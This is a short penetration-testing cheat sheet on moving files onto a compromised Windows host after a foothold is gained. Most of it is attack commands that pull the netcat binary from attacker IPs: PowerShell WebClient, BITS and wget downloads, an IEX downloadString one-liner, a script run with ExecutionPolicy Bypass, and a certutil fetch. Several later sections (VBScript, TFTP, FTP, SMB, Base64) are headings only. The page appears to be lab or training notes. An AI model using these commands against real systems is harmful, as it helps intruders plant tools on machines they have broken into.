Transferring Files
How to transfer files
There are various ways to transfer files once an initial foot has been made.
HTTP
The simplest way to transfer files from one box to another is by using Python SimpleHTTPServer module as can be seen below:
python -m SimpleHTTPServer <port number>Powershell
powershell.exe -c (new-object System.Net.WebClient).DownloadFile('http://10.10.10.20/nc.exe','c:\temp\nc.exe')powershell.exe -c (Start-BitsTransfer -Source "http://10.10.10.20/nc.exe -Destination C:\temp\nc.exe")powershell wget "http://10.10.14.17/nc.exe" -outfile "c:\temp\nc.exe"powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.10.20/nc.exe')" echo $storageDir = $pwd > wget1.ps1
echo $webclient = New-Object System.Net.WebClient >> wget1.ps1
echo $url = "http://10.10.10.20/nc.exe" >> wget1.ps1
echo $file = "new-nc.exe" >> wget1.ps1
echo $webclient.DownloadFile($url,$file) >> wget1.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget1.ps1Certutil
certutil.exe -urlcache -split -f "http://10.10.10.20/nc.exe" c:\temp\nc.exeVBScript
TFTP
FTP
Install it first and start service
Set up the attacking machine
On the target machine run:
SMB
Base64 transfer binaries
Windows to Linux
Last updated
Was this helpful?